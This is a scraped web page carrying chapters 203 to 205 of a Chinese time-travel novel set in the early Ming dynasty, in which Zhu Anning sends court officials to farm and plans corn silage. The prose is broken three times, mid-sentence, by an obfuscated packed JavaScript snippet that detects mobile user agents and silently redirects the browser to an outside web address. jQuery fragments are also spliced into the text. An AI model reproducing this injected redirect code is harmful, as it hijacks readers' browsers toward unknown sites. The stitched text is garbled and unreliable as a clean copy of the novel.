d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378806|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱棣也没管他们,自顾自又走了起来。 胡修道柳文还有方孝孺对视了一眼,自然也是只能跟上。 永乐庄距离那屯田驻地并不远。 以几人的脚程,很快就看到了那热火朝天的驻地。 扎营的缘故那里无比热闹。 却也因此扬起了很多尘土,让远处的人看得不真切起来。 正当他们准备走近时。 远处,又浩浩荡荡来了一波人。 有骑马的,有随后跑步的,甚至……他们还看到了一辆马车。 还得是朱棣眼尖。 他一下就看出来了……这是亲卫还有皇宫的马车啊! 是父皇还是大哥…… 而且……怎么后面还跟了一群穿着文官袍的人? 混在亲卫里,好怪啊…… 这个组合直接就是让朱棣都懵了起来。 任谁都想不到,朱安宁会刚上任,就拉着整个詹事府来耕田…… “那不是戚叔么?哇,好威风啊!他怎么在领头啊!” 胡修道也是眼尖,他直接就看到了跑在众人面前的戚祥,那是脑瓜子也一下就转不过来了。 “呃,戚叔也升官了,嗯,里长干得不错,升官了。” 朱棣的胡诌能力,明显没有朱安宁强。 这让柳文和胡修道是直接皱起了眉头。 “啊?还能这样?” “我说是就是。”朱棣以毋庸置疑的语气,说道:“赶紧过去看看怎么回事,这群是虎贲卫吧……怎么还跟着一群文官……” 他嘟囔着脚步又走快了几步。 三拨人。 不出意料地,在屯田所会了师。 朱棣看了看穿着常服的五弟,是高兴地过去锤了他一拳,小声说道:“我已经听大哥说了,你不用就藩了,这屯田所你得好好干,做点你喜欢的事情吧!” 两人是胞兄弟,向来关系就好。 朱橚看着自己四哥,也是咧嘴笑了起来,唤了声:“四哥!” 这一声也是引来了刘廌刘畾还有李景隆等人的注意。 他们连忙跑过来行礼道:“燕……” 朱棣连忙挥手打断了他们:“叫回四哥就行,你们几个现在也是人模狗样了啊,都千户了。” 朱棣围着他们绕了两圈。 笑得相当开心。 按理来说,千户佥事指挥使,甚至总兵,对他四皇子来说,也就是个官而已。 但是看着和自己一起耕田的人,现在当了官,他还是觉得开心,莫名地开心。 这让后面的方孝孺表情有些复杂。 人人都能当,现在就他还没当。 不过很快,他就缓了过来。 他在心中开始默念……心如明镜,物来则照,不要刻意去追求。 这两天,他已经着手开始研究朱安宁给到他的心学内容。 那是大开眼界,仿佛整个人一下就通透了许多。 他往前常常会感到愤怒。 而心学里那些饱含王阳明感悟的字句,是深深地震撼了他。 更不用说,朱安宁给的还是注解版。 详尽的内容解析,让本就学富五车的方孝孺,是一下就沉了进去,不能自拔。 更远处的老朱女婿三人组。 则是一脸懵逼地看着穿着寻常衣服的朱棣,出现在了他们眼前。 那也是连忙跑了过来,刚想行礼。 却听到朱橚的解释:“叫四哥就行。” 都是姐姐或者妹妹的丈夫,朱橚朱棣和他们几个还是熟悉的。 只见朱棣咧嘴笑了起来。 李祺他是知道要过来的,结果现在来看陆贤和梅殷都过来了,那足以证明,自己老爹对这件事情还是很上心的。 “陆贤,梅殷,你们怎么也来了?” “回……四哥,我两是今天才知会说要来江宁屯田卫的,倒是您……您怎么也在这里。” “我?我在这耕田啊。”朱棣说得理直气壮。 是把李祺、陆贤和梅殷说得一愣。 你皇子耕什么田?! “是的,燕爷耕田老厉害了,我们爹娘都是跟燕爷,周爷,还有先生们学的!” 一旁的胡修道,那是跳了出来,指了指朱棣朱橚,又指了指旁边的李景隆等人,那是让李祺三人组更加懵逼。 这些人,和耕田有什么关系?! 怎么他们还不反驳?? 在三人蒙圈的时候。 马车到了,马车后面的士兵和詹事府官吏们,也到了。 第二百零三章 都给我去耕田! 一马当先的戚祥,是麻利地跳下了马车。 他是威风凛凛,明显看得出,是领导模样。 而胡修道和柳文却是毫不生疏地凑了上去,摸了摸戚祥的衣服,甚至柳文还摸了摸戚祥挂在腰间的刀鞘。 “戚叔!威风啊!啧,连你都当大官了?!” “什么叫连?!”戚祥是直接一人赏了一个爆栗。 “唉哟,我们是觉得你威风嘛!什么时候我们才能像你一样……太好看了!” 两小孩毫不吝啬自己的夸奖,把戚祥直接逗乐了起来。 而朱橚、李景隆等人,也是走了过来,围住了两少年。 毕竟是好些日子没看到了,多少有点想念。 “怎么你们两小只也在这里,不回田里帮忙?今天就是闲的是吧!” “先生?你们也穿得好威风啊!”柳文没有回答问题,他又是饶有兴致地绕了两圈,觉得自己先生们好像也很是威风的样子。 倒是把李景隆朱橚几人弄得有点不好意思起来。 平日里城里的那些人,对他们毕恭毕敬他们没什么感觉。 但是现在被柳文看来看去,却让他们得到了极大的满足感。 这就是衣锦还乡的感觉??! “都快要收成了,等到那时再忙活就行!”最后还是胡修道回答了他们的问题。 “是哦,快要收成了,下一茬应该就要种点其他东西了……” “啊?” “没什么,到时你们听朱先生的话就行。” “那是,他说什么,我们就做什么!” 这几人站在那聊天的模样。 却也是让戚祥手下的两总旗更加疑惑。 什么个情况?这两个少年看着就是寻常农家孩子,怎么一副和自己大人……不对不仅是自家大人,好像和那几个穿着官袍的人,也很熟的样子。 至于更后面的那群詹事府属官吏们,那也是一样没搞懂。 这是什么情况。 他们甚至连为什么来这里,都没搞清楚。 只知道,是太子带着朱安宁,往这边走了。 那他们不跟着走,那就是找死…… 场面一时有些诡异起来。 胡修道和柳文,也是立马注意到了这气氛。 很快两人就住了嘴,开始打量这一大坨人。 他们不太理解为什么所有人都像看怪物一样看着他们。 这种感觉并不好。 朱棣连忙拉了他们一把,然后回头对方孝孺交代了声。 “方希直,你先带他们回去?这里人多……” 他递了个眼色。 方孝孺虽然不是很喜欢这四皇子,但是也是能看出这场面似乎是有些大,便也是点了点头。 喊了句。 “你们两,跟我回去背诵!” “啊?”柳文是被喊得懵逼。 “别啊了,走吧。”胡修道却是心领神会,他连忙一把拉住了还不想走的柳文。 三人一个拉一个,很快就走上了旁边的小路。 “先生,那边的都是些大人物吧……” “你还算有眼力见。” “但是……那不就是我们先生还有戚叔嘛……” “他们,既是你们的先生,你们的戚叔……也是大人物……” 方希直领着两人,忽而叹了口气。 胡修道则沉默了半晌。 “总觉得怪怪的。” 在三人走远的时候。 屯田所门口那停下的马车里,走下了个面青口唇白的年轻人。 正是不会骑马,但是坐马车,一样被晃了个七荤八素的朱安宁。 本来他是打算说,坐马车的话,他刚好可以一路休息下睡一觉。 结果……他失算了,太颠簸了啊。 他强忍着恶心的感觉下了车。 这里人多,吐出来他也要强忍着吞回去……抱着这般觉悟,走到了众人面前。 朱标也在他身边。 一众人随即开始行礼。 “见过太子。” “大哥。” 而结束对太子的行礼后。 许久没见到朱安宁的那几人,那是有些激动地大喊了一声。 “见过先生!” 朱橚也不例外。 当然,朱棣也没有落下,他也喊了一声。 这做派。 自然也是让詹事府属官吏们,瞳孔地震。 “那是四皇子和五皇子吧……他们好像喊朱大人,叫先生?” “不止,你看,那是曹国公家的李景隆,还有诚意伯家的刘廌刘畾,他们可是素有才气的啊,怎么都叫朱大人叫先生啊?” 燕晓柳是众人里面最震惊的那个。 他只当朱安宁是不太寻常的主官,没想到能这么不寻常! 那么,这样的主官,带自己这群混子来这里,是想干什么? 他扫视了一眼远方,再次确定了这就是屯田所。 莫非,这是那城里已经传得沸沸扬扬的江宁屯田所?! 随着他继续观察下去,那是越看越心惊。 不仅是皇子,勋贵在这里,连陛下的三个女婿, 也都在此列。 这江宁屯田的阵容,实在是豪华…… “呕……”朱安宁没能忍住,干呕了一声,然后连忙做了个吞下去的动作。 让朱棣是一阵嫌弃。 “朱哥,你行不行?” “小燕你说什么?男人不能说不行!” 晕乎乎的朱安宁此时哪还有脑子,就是下意识地回话而已。 而小燕这个称谓,放在平日的永乐庄,就是个不会引起任何人怀疑的称呼而已。 但是现在这里,要考虑的事情就多了。 总旗也好,詹事府属官吏们也好,那是直接就变了脸色。 心想自己主官莫不是癫了。 下了马车就胡言乱语。 这可是燕王殿下啊,他们作为亲卫,和东宫官,那是认得清清楚楚的啊。 结果朱大人开口就好像叫村口一小孩似的。 “不是,朱哥,大家都看着你呢,你得支棱起来啊。” 朱棣哪能不知道,现在全场的焦点都在他和朱安宁那里。 那是赶紧凑了过去,让他靠了靠,然后小声提醒了一下朱安宁。 “呕……马车也太晃了啊,不行,我得学骑马……” “那你让戚叔教你就是了……” “呕……行行,我先处理完这里的事情先。” 忍不住又呕了两声的朱安宁,脸声终于是恢复了些血色。 而他和朱棣的亲密动作,已经让众人除了瞳孔地震之外,又加上了点小脑萎缩。 他们不禁开始认真猜测一个能随便上太子马车,和四皇子关系亲密的朱姓年轻人……究竟是个什么情况。 猜得是要比宫门口时的,更加天马行空…… 朱安宁好不容易缓了些,哪管那么多。 是直接就走到了太子身边问了句:“太子,那我开始安排了?” 朱标今天过来,本质就是给朱安宁压阵的而已。 “全凭你安排,我只要田能种出来了,这些人能学会,然后明年,整个大明能种上,你懂么?这也是父皇的想法。” “嘶……听着这语气,没做好,我说不定也要挨罚的是吧。”朱安宁咧嘴笑了起来。 半开玩笑似地说道。 “那是自然。” 朱标也笑着回应。 得到了朱标的答复,知道自己在屯田这件事情上已经有了一定权力后。 他直接就站到了一个高处,对着詹事府属的官吏们大喊了起来。 “诸位!” 他开口吸引了所有人的目光。 “此地正是江宁屯田所!” 他的声音不够洪亮,毕竟他现在是细狗加虚狗。 但是并不妨碍,所有人都安静了下来,听他BB。 “陛下洪福齐天,觅得上好粮种,这江宁屯田所,就是用来种新粮了!想必你们都已经听过传闻了!” 他顿了顿,想看看众人的表情。 不出意外的,不管是兵士,还是亲卫,还是他的詹事府官吏们,都窃窃私语了起来。 这个传闻那么劲爆,谁不知道嘛。 只是信的人……哪确实不多,大家又不是小孩。 那燕晓柳也是终于忍不住,远远回了句:“朱大人,市井传闻总归是市井传闻,您带我们来这,就是为了说传闻?” 他这话代表了大多数人的想法。 最后众人却也看见了朱安宁的脸,那是一瞬间就沉了下来。 “传闻?如果是传闻,会有这江宁屯田???你们是想着陛下老糊涂了是么??!!” 朱安宁,学着以前上班时某些同事的模样,熟练地扣下了大帽子。 果不其然,在场的人,脸色都变了变, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378807|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是直接就闭起了嘴巴。 连呼吸都变轻了不少。 口嗨可以,但是没必要用自己和家人的命去嗨。 人被杀死就会死,大家还是很清楚的,特别是昨日到今日,整个应天府那是鸡犬不宁,一下子抓了多少官? 那大家是心里有数的。 “今日,我带你们来这里,就是为了让你们学!!!” 朱安宁冷冷地对詹事府那群人喊道。 配上刚才的大帽子,确实是一下就没人敢反驳他。 只是多少还是有些疑惑。 他们一群文官,来这里学什么? 学记账还是著书? 这些他们还是会的,毕竟詹事府之前最重要的工作就是东宫的琐碎账目和书籍归类工作…… 好些人是叹了口气,想着就是换个地方混而已。 好像也没什么。 结果,出乎他们意料的是,朱安宁说出来的东西,是他们都不曾想过的。 或者说,连那些虎贲卫还有江宁屯田的军户们,都没能想到的事情。 “让你们学种田!” 朱安宁大声说道。 那是说得明明白白清清楚楚。 让一众人的表情,是直接垮了下来。 除了原本就跟着朱安宁的种田的那几人还有太子朱标。 所有人的表情都垮了下来。 这算是什么事? 士农工商,这分的明明白白 。 虽然大部分家里的父辈或者爷爷辈都是草莽出身,但是自己已经是为官了啊。 那怎么算也是士的级别了,怎么就让自己又回去务农了呢? 这特么不是倒反天罡了么。 几个相对愣头青的人,是直接就忍不住跳了出来。 “朱大人!我们可是东宫詹事府的文官,职责并不在此!” 那几人是说得冠冕堂皇,摆明了就是不想耕田。 朱安宁也没有生气,他反而是哈哈笑了起来。 太子在这里,他也不会蠢到直接说这群吊人就是天天打牌摸鱼拿俸禄。 毕竟丢的也是太子的人嘛。 他就是直接反问了一句。 “那你们职责是什么?” 这句话就有点扎心了。 直接让詹事府官吏们沉默了起来。 他们天天干的是什么事,他们一清二楚。 但是输人不输阵,最后又还是愣头青回了话。 “回朱大人,詹事府本职乃辅佐太子……”他还想继续花团锦簇地扯一堆职能出来。 而朱安宁却已经是听到他想要的东西,那是立马就打断了他。 “好,好一个辅佐太子,那太子殿下现在就是心系天下,想要快些把新粮种出来,你们是否应当尽力辅佐呢?” 这个问题一下就抛了回去。 无懈可击。 “这……” “明日以后,詹事府除必要轮值外,皆在此地点卯!若是再迟来,休怪本官无情!” 朱安宁瞄了眼太子,脸不红心不跳地快速下了个命令。 他没有给那群人多少反应的时间,反正朱标站在自己这边,他们再怎么跳也是挣扎不了的。 只是这般做法,终归还是压人一头的做法,不少人还是一副不服气的样子。 只道是这主官朱安宁权力大,他们也无法拒绝就是了。 朱安宁看表演得差不多了,那是慢悠悠地走了下来。 毕竟还是虚,他也不敢走太快。 他下来那一刻。 朱标靠了过去。 “安宁小弟,你就是不想去宫里点卯对吧。” 朱标轻笑着说道。 “咳咳……太……太子,这不是种地重要么。” 远处,一群不服气的人,在那憋着说不出话。 而另一群江宁所的军户们,则是乐不可支。 怎么?官老爷也要来陪自己耕田了? 这感情好啊。 怪不得城里老是有这朱安宁朱庄主的传说,这可真有意思。 至于虎贲卫的亲军们,那是摸不着头脑,自己主官好像是惹毛了那群文官? 但是这又有什么关系呢?他们作为亲卫,现在的老大就是戚祥和这朱安宁,他们说什么,那便是什么吧。 只是说,现在换了个驻地,真是不习惯,又得重新扎营了。 于是,三拨人,有了三种不同的想法。 第二百零四章 大明的微微转向 “这么多?” “这么多?” “怎么会这么多!!!” 几个人瞠目结舌地看着宋慎统计上来的数字。 宋慎则表现得有些无奈。 这些都是经他手算出来的。 他最开始也很是惊讶。 而后自是慢慢麻木…… 但是刚解决完政事,商量好火绳枪配给以及宝钞新政的朱元璋,可就没那么淡定了。 核算了一轮,处处要用钱的情况,并没有缓解。 朱安宁的新粮,也是得等来年才有收成。 而幸好他吃了酒后还开创性地提出了议罪银这种东西。 虽然大家都知道只能用一次。 但是老朱就是希望这一次,能够帮助自己度过难关。 站在他身边的李文忠,还有几个阁臣,也是抱着这样的想法。 然后…… 他们就震惊了。 这东宫大殿,满屋子的财物…… 还有那一沓又一沓垒在那里的宝钞…… 而后宋慎还掏出了一张清单,递给了老朱。 “陛下,这边还有诸位大人不便携带的财物,晚些会遣人送进宫里。” “还有?!” 老朱拍了拍那宝钞。 没有回头看向众人。 他知道这些上交议罪银的臣子,都是问题不大,有点小罪但是并非说是很严重的,在他眼里只能算行为不端的那种。 结果人人都豁出身家似地把银子,宝物献了出来。 这是让他始料未及的。 难道…… 这群人真的有在自己不知道的地方,贪墨了? 不然怎么这么有钱!!! 但是不管怎么说,有了这一批财物,算是解了燃眉之急。 看着这满屋子的东西。 朱元璋也不知道是该哭还是该笑。 而他很快,也是平复了心情。 有些事情,是时候安排下去了。 这次是一次极好的机会。 他是不会放过的。 借着这郭桓案,他短暂地得到了绝对的控制权。 “王本、杜佑,着手开始拟旨,各地官仓开放宝钞与粮食兑换,就按之前我们商量的来,兑换多寡,每岁更换一次。” 过了不知道多久,朱元璋了口。 “另外,保儿,五军都督府即刻遣人开拔至十二行省,协助各地总兵,缉拿当地贪墨要犯,轻犯就地审判,重犯押回来。” “杨思义!你也给咱过来。” 接着他又大喊了一声。 刚从户部尚书变成户部郎中的杨思义,立马上前。 “即刻起,协助东宫清点钱银,用这部分钱银助各地清吏司收购富商、大户余粮,优先供给前线,余下补入各地官仓!” 朱元璋顿了顿,然后补了句:“若当地富商大户趁机抬价,报锦衣卫。” 他旋即,下了好几条命令。 明朝的去向,逐渐开始往,一条未曾设想过的道路走去。 若朱安宁是这个朝代的搅局者。 那么真正能控局的那个人,终于是开始,把准备了许久的事情,安排下去,而不用担心文官们扯皮。 这郭桓案的一众贪官,这样来看,也是死得其所了。 ———————————————— “姬友命……你说你要呆这里?” “你可知道你是贼,还是偷我们东西的贼。” “我想问很久了……这是贼?” 朱安宁,朱棣还有方孝孺正看着凸着屁股绑着绷带躺在床上的姬友命。 三人所问的话有点乱。 让躺那动弹不得的姬友命是不知道回答谁好。 只能趴在那拜了拜。 “三位爷,昨日我算是开眼了,要不是朱爷您帮忙把我给赦免了,我这不是连躺在这的机会都没了么?” “诶诶诶,你这话说清楚,赦免你的人,是那位……”朱安宁连忙撇清关系似地往城里的方向拜了拜。 “那是那位赦免的我,但是,您也是青天大老爷啊,知晓小的并无恶意,才愿意帮小的说话,不是么?” 这姬友命一副油嘴滑舌的样子。 是把朱安宁逗得乐不可支。 他脑袋里老是想起那个自杀的姬无命,若是那个有这个这般会说话,怎么会被关中大侠说到自尽嘛。 “我问你,昨日早上,我和这小燕睡着了,你偷偷溜走但是却没动手宰了我们,是怎么想的?” “唉哟朱爷,我就是个小飞贼,又不是汪洋大盗,哪些事情能做,哪些不能做,我还是一清二楚的……”姬友命是说得可怜兮兮的样子。 朱安宁自然是知道不能全信。 但是也能感受到这姬友命,确实不是什么穷凶极恶之人的感觉。 “那你为什么非跟着我不可呢?” 朱安宁似笑非笑地问了句。 “朱爷,我就一五一十说了吧,这次偷东西,背后雇我的人死光之前,我是不敢冒头的了。”他依旧是那副可怜兮兮的样子。 “怎么?雇你的人能比得过上面那位?”朱安宁撇了撇嘴,他当然 知道是郭桓等人雇的他,不过是想偷那些不合格的火绳枪罢了。 “就怕雇我的人,死前拉我垫背……” 姬友命缩了缩脖子,讪笑道。 虽是贼,他也是相当惜命的。 “你知道事情的来龙去脉了?” “不太清楚……我只知道您是清汤……不对,青天大老爷,一定不会对我不管不顾的,我……” 姬友命搜肠刮肚,还想继续说些什么马屁话。 结果确实是吃了没文化的亏。 迟迟说不出个一二三。 是让旁边的朱棣憋不住,噗嗤笑了一声。 方孝孺则是总算听懂了些许,这原来是个贼啊…… 怎么会如此凄惨,这臀部,伤得看起来很重的样子。 “那你得给我签个契约?”朱安宁眨了眨眼,笑吟吟地说道。 这是把屋子里的人都给搞懵逼了。 契约? 这和贼人签契约,不是搞笑么。 连姬友命都是这般想的。 只有朱安宁,知道,这贼,其实挺讲原则的。 不然也不会在第一次可以逃跑的时候,还想着完成任务,另外还顾及自己和朱棣的姓名。 他提出的所谓契约,不过是君子协定罢了。 “您信得过我就签吧……不过是卖个身罢了,但是我没有户帖……” “户帖?小燕,给他弄一个不麻烦吧。” “这有什么麻烦的,咱们永乐庄全是流民,这家伙和流民也没区别……” 听完朱棣的回答,朱安宁是笑着点了点头。 “行了,那晚些我给你办个户帖,你就在我院子里当仆人,给成管事打下手,怎么样?” “朱爷,你的意思是他给我打下手?”在一边站了许久都没有说话的成梁,那是一阵诧异。 “不喜欢?” “不是……就是,很多事情,我自己都能搞定了啊……” “哈哈,阿梁啊,很快,你就要搞不定了……” 朱安宁笑着撂下了话语:“暂时让他住在这库房里吧。” “谢谢朱爷收留!” 那姬友命,趴在那,抱了个拳,那是摆出了一副感激不尽的样子。 目送了几人离开。 朱安宁等人出了库房,那成梁是连忙追问道。 “朱爷,您说忙是什么意思?是肥料那边需要加货么?目前我是按您给我的数量屯的。” “不是,是有另外的事情要忙起来了!” 朱安宁带着众人,去到了大树下的茶桌面前,喝了杯凉茶,继续说了下去。 “你知道我们庄子旁边江宁屯田所,开始屯田了吧。” “今日下午的事,庄里的人都知道了。”成梁回道。 一旁的朱棣和方孝孺,则是坐在那静静地听着。 既然没有被朱安宁赶走,那意味着这是他们可以听的事情。 “知道就好,那万亩地,我问太子讨要了其中一千亩,用来种玉米。” “玉米?朱哥,玉米产量不是远不及土豆和番薯么!” “我不是教过你了么,玉米有玉米的优点,土豆番薯有土豆番薯的优点。你想想看我为什么要种玉米?” “不就是好养活么,但是他产量真的不大啊!” 朱棣还是在纠结亩产的事情。 是终于把朱安宁气得敲了他一个爆栗。 “只要能好好施肥,你看我们田里的水稻不都比别家多么,别老是盯着亩产!想想,玉米还有什么妙用?” “呃……我想想……” 在几人的注目中,朱棣开始思考。 而他这副模样,是让方孝孺啧啧称奇…… 怎么皇子都精通农事了? 他不由得对朱安宁又高看了一眼。 之前是服气,而现在是隐隐有些佩服了。 一个人,怎么可以学得这么杂,又这么精通。 他当然不知道……朱安宁就是这资料的搬用工罢了…… “青贮?”缓了半晌,朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378808|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棣用疑问的语气,向朱安宁问道。 换来的是一根大拇指。 “玉米亩产虽然只有七八石……” “只有……”一旁的成梁是哭笑不得,之前作为蓝玉家中的管事,他可是管过农田的,亩产多少他一清二楚。 结果现在亩产七八石在永乐庄这里都要有只有这个词了。 真是人比人比死人。 而方孝孺,眼神则多少有些清澈。 “成管事,七八石很多?” “已经是咱们附近田地亩产的两三倍了,您说多不多……” “嘶……” 朱安宁并没有管一边说话的两人,而是继续说了下去。 “对了,就是青贮,玉米收获后的杆子,只要处理得当,是可以作为饲料,喂养牲畜的!比如耕牛!” “喂养牲畜?!耕牛?!” 这对成梁来讲,就有些震撼了。 牛,是战略物资,不管哪个封建朝代都是。 所以放牛是一件极其重要的事情。 并不是说牛不吃草料,而是草料是要钱的啊!去哪里弄嘛。 所以大部分情况下,耕牛,都是采取放养加补充饲料的方式喂养,草料和糠麸就是必不可少的饲料。 这让耕牛的使用成本,其实还是存在的。 这也让古代耕牛成了衡量一个农户贫富的重要依据。 古代只是不然吃牛而已。 并不是说不支持牛的贸易。 而永乐庄目前没有耕牛的原因也很简单。 那就是穷…… 而朱安宁最初也没有意识到这一点。 而现在,是时候早早准备好更多的劳动力了。 不说隔壁屯田所的千亩。 他自己永乐庄都还有一堆地没有开垦。 总不能每年都靠人力去搞定吧…… 想到都绝望。 这便是他心心念念种玉米的重要原因。 青贮! 这事他一直没有和别人说明。 他哪知道自己能不能成功嘛。 现在又没有现代化的青贮塔,和可以供他完美发酵的青贮药剂…… 但是现在不一样了。 有了江宁屯田所的一千亩地。 那么他就有了大量的实验材料。 他还就不信试不出来了。 朱棣始终还是没有成梁反应那么多。 作为皇子,他能知道那么多农业知识已经是很了不起,但是对于耕牛,他只道是重要的耕地工具,仅此而已。 “没有青贮就不能养了?” 他对朱安宁发出了灵魂拷问。 而朱安宁,也是笑着解答了他这个问题。 “如果,我是说如果,青贮能够很好地供应牛群吃喝,那么可不仅是我们永乐庄可以用上足够的耕牛。” 这话,像是点醒了朱棣般,也是让方孝孺,不经意地点了点头。 这才是格局啊。 这朱先生,并非是只考虑自己,还考虑到了天下百姓…… 真是令人敬佩。 而只有朱安宁自己知道。 他想的是…… 牛可以卖钱! 完了养牛用的饲料,也得由他产,不又是一笔钱么!!! 这果然科学才是第一生产力哇! 几人,那是一起笑了起来。 “对了,怪不得朱哥你带了那群詹事府的人过来,你是想让他们帮忙种玉米?” “正是,这玉米要是种好了,可是可以比肩番薯和土豆的好东西。” “那还真是他们的福分了。”方孝孺在旁边感叹了一句。 是让朱安宁一阵腻歪。 怎么有种自己做了资本家的感觉。 自己又不是那个喊福报的胖子…… “别福分不福分了,我只是看不惯他们这么闲而已,明日起,小燕,你陪我去调教他们!” “好!但是下午能否放我回来……” “回来干嘛?” “我想去铁冶看看,火绳枪有些地方,我觉得还能改进下。” “这个随你……” “那就好。”朱棣,也是咧嘴,笑了起来。 “成梁,你找些工匠,帮我建些房子,晚些我给你图纸。” “好。” “另外方孝孺,给你三个月,你觉得你没有办法让村里那些农夫农妇们学会认字?” 如皇宫一般。 永乐庄这边,也开始了,一些计划。 —————— PS:你们是不是都在打黑马楼啊呜呜呜 第二百零五章 诸位帮我教一教? 各地快的会在当天就接到急报,慢的则需要三五七八天。 那些老朱传下去的安排。 很快就会落实到整个大明上。 但是,这和应天府郊外等待收成的各村村民们,暂时没什么关系。 他们习惯性地早起,然后习惯性地开始弄吃食,以方便带到田里去劳作。 平民是做不到一天三餐的。 许多人,两餐温饱,就已经是极限。 官道边上的农民们都很是麻木。 作为佃农。 他们没有更多的盼头。 只求今年的收成在交上去之后,余下的,能让自己一家老小,过个不饿着的年,就已经是极好。 更多的东西,不能去奢求,也不好去奢求。 而今天,本该是日常的一天。 清晨的官道,却给了他们非日常的画面。 一群人黑着脸,穿着官袍,正骑着马,在官道上疾驰。 “这天还没亮堂起来,这群官爷是干嘛……” “谁知道,关我们什么事。” “哎,也是,今年收成也就这样了,还是羡慕永乐庄那边,他们那边今年不是免租么。” “不免也就是抽一成,和不抽有什么区别……” “也是……而且听隔壁村老黄说,他有一次路过永乐庄,看见了,人家的挂的穗,那叫一个饱满……打听了下,说是那朱庄主还带着人教种田,还用上了一种奇怪的肥料,那是老厉害了!” “地主还会种田?” “什么神仙地主啊!” “哎,对比一下,我们的?” “哼……” “哼……” 两人唾弃了一声。 而那群骑着马的人,也扬长而去。 很快就通到了官道的拐弯处。 那里已经略微通了一条小道。 毕竟屯田所,需要的物料是很多的。 需要有路源源不断地运进去。 这群人,是詹士府的官吏。 昨日朱安宁所说的话,他们听着很不高兴。 但是朱安宁的命令,他们却也是不能不听。 毕竟是主官。 昨天太子又隐约是支持他的态度。 他们能怎样。 总不能给自己家里惹麻烦吧。 昨日回家他们可是狠狠地被教训了一顿的。 倒不是说他们做了什么…… 而是他们的父辈一视同仁地教训了所有小辈。 大抵意思就是最近应天府很不太平,做什么事都要三思而后行。 决不能鲁莽。 是让他们被骂得一头雾水。 也只能把原因归咎于,这两天的贪墨案,是惊到了他们父亲了。 他们哪能想到,自己本来还算富裕的家庭,因为朱安宁一句话,而差点破产。 家产什么的,大半都交给老朱了哎…… 当最后一人下马,站到了那屯田所临时平整出来的平地上时。 朱安宁已经在那里等候多时。 他身边还站着的是朱棣。 “啧,今天点卯大家倒是准时了不少啊。” 人群中还混了个本来不属于詹事府的宋慎。 他是昨日出宫前被小太监通知今天的事情的。 有些无奈,却也是无可奈何。 他跳下马,来到了朱安宁的跟前。 “朱大人,要点卯了对么?” “嗯?小宋大人,你也来了?” 这话是问得宋慎一阵郁闷。 他能不来么? 昨天这太子爷是话里有话啊。 他这从序班变成詹事府主簿,不就是来辅助朱安宁办事的么…… “回朱大人,按昨日太子的意思,我应当是要辅助您的。” “嗯?这倒是好事!” 朱安宁听完,那是咧嘴笑了起来。 正愁人手不够,上面就一直给自己派人。真是nice! “既然如此,那就麻烦小宋大人帮我点卯咯。” 朱安宁撂下话语。 那宋慎便已经站到了众人面前。 念起了名字。 不出意外的是,没有不来的人。 在点卯完成后,朱安宁和朱棣也只是点了点头,没有言语。 他们领着一群人往屯田所那里更深处的地方走去。 那是荒草丛生的地方。 这土地不整一遍,是没办法种东西的。 而整地,是需要大量劳动力的。 不远处,屯田所里的所谓军籍,实际上就是类似军户佃农的那些农夫,早已起来。 他们正在忙着整地。 动作都是熟练无比。 一看就是老手。 那群人看着朱安宁带着一群穿着官袍的人走到跟前,也是好奇地观望了一阵。 “这不是昨日那大人么?怎么回事……怎么又领着一群官爷过来这里了……” “你昨日没听?这朱大人就是咱们屯田隔壁永乐庄的地主啊!” “什么地主,人家现在可是大人了!” “对对对……据说这朱大人耕田可有一手了。” “ 你就胡说吧你,不就是那些老娘们以讹传讹,什么都敢说,你还真信啊?” “啊?假的?” “不然呢?” 几个农夫,看见了朱安宁,简单地争论了两句。 朱安宁哪知道这些。 他只顾领着这群明明知道要干活还敢穿官袍来的傻逼,去到工作地点。 那里,他早就让李景隆安排好了工具。 就等劳动力到来了。 “这边,到那河边,1000亩,都是我们的詹事府的耕地,之前就和太子商量好的了,我们需要种一些东西,未来有大用。” 他话说得很直接。 “1000亩是多少?” 跟在他身后的官吏在向身边的人发问。 “我哪知道……应该很多吧。” 那人没能回答。 而朱安宁却是继续说了下去。 “我要求不高,你们先把这两百亩地给平整了吧,均下来一人也就几亩。” 朱安宁知道他们不会,便也没有废话。 直接扛起了工具,给朱棣递了个眼色。 “我知道你们都不会,跟着我和燕王,我们怎么做,你们就怎么做。” 朱安宁的话说得相当轻巧。 但是落到众人耳中就有点不对头了。 他们认得出这是朱棣。 但是哪能想到这朱棣,燕王还,居然还要跟着自己耕地…… 虽然耕地是不情不愿的,但是燕王都在耕地,哪敢表露这不情不愿的情绪…… 不是嫌自己家人多么? 他们谨记昨日父辈的教训,那是只能老老实实地扛起了锄头。 “嗯?什么情况?小燕你昨日不是说这些家伙,脾气不好,指不定是不愿下地的么?怎么今儿一个两个跟孙子似的?” 